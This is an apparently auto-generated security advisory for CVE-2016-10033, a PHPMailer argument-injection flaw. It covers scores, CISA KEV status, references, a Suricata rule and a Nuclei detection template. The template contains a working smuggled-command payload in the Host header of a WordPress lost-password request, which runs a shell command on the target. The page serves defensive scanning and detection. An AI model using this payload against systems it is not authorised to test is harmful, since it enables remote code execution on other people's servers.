VULNpocalypse

CVE-2016-10033: PHPMailer Command Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \” (backslash double quote) in a crafted Sender property.

Description quoted from the CVE record (assigned by mitre, published 2016-12-30).

Weakness: CWE-88 Improper Neutralization of Argument Delimiters in a Command (‘Argument Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2025-07-07
US federal deadline
2025-07-28
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-11542, CNNVD-201612-675, CNVD-2016-13107, CNVD-2017-10370, EDB-40968, EDB-40969, EDB-40970, EDB-40974, EDB-40986, EDB-41962, EDB-41996, EDB-42024, EDB-42221, EUVD-2016-1267, EUVD-2016-2107, EUVD-2020-0327, EUVD-2020-0331, EUVD-2022-4814, EUVD-2022-5138, GHSA-4pc3-96mx-wwc8

VEDAS cluster: VEDAS:AARDVARKANGEL

Exploit Observer links 30 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (30)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (2)

Vulnerability databases and vendor advisories (27)

Catalogue entries, not exploit evidence.

301 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.997
very likely to be attacked soon
VEDAS
0.983
strong exploit evidence
On CISA KEV
Yes, since 2025-07-07
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2025-07-07CVE-2016-10033 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2025-07-07CVE-2016-10033 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

ProductAffectedNot affected
Not statedversion n/aNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

WordPress - Remote Code Execution

The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \” (backslash double quote) in a crafted Sender property.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /?author=1, POST /wp-login.php?action=lostpassword); it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2016-10033.yaml
Show the template (57 lines)
yaml
id: CVE-2016-10033

info:
  name: "WordPress - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass
    extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote)
    in a crafted Sender property.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2016-10033&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-10033
    cwe-id: CWE-88
  metadata:
    verified: false
  tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project,kev,vkev,vuln
http:
  - raw:
      - |+
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

      - |+
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        wp-submit=Get+New+Password&redirect_to=&user_login={{username}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - wp-login.php?checkemail=confirm

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        name: username
        group: 1
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
        internal: true
        part: body

CVE-2016-10033.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2016-10033 WordPress - Remote Code Execution. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2016-10033 WordPress - Remote Code Execution"; flow:established,to_server; http.uri; content:"/wp-login.php"; nocase; fast_pattern; content:"action="; nocase; classtype:web-application-attack; reference:cve,CVE-2016-10033; reference:url,https://www.exploit.observer/?keyword=CVE-2016-10033&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact; sid:1011200; rev:1;)

CVE-2016-10033.rules on GitHub

References

Exploits and technical analysis

  • 42221 (exploit, x_refsource_EXPLOIT-DB)
  • 40969 (exploit, x_refsource_EXPLOIT-DB)
  • 41962 (exploit, x_refsource_EXPLOIT-DB)
  • 40968 (exploit, x_refsource_EXPLOIT-DB)
  • 40974 (exploit, x_refsource_EXPLOIT-DB)
  • 40986 (exploit, x_refsource_EXPLOIT-DB)
  • 40970 (exploit, x_refsource_EXPLOIT-DB)
  • 41996 (exploit, x_refsource_EXPLOIT-DB)
  • 42024 (exploit, x_refsource_EXPLOIT-DB)

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.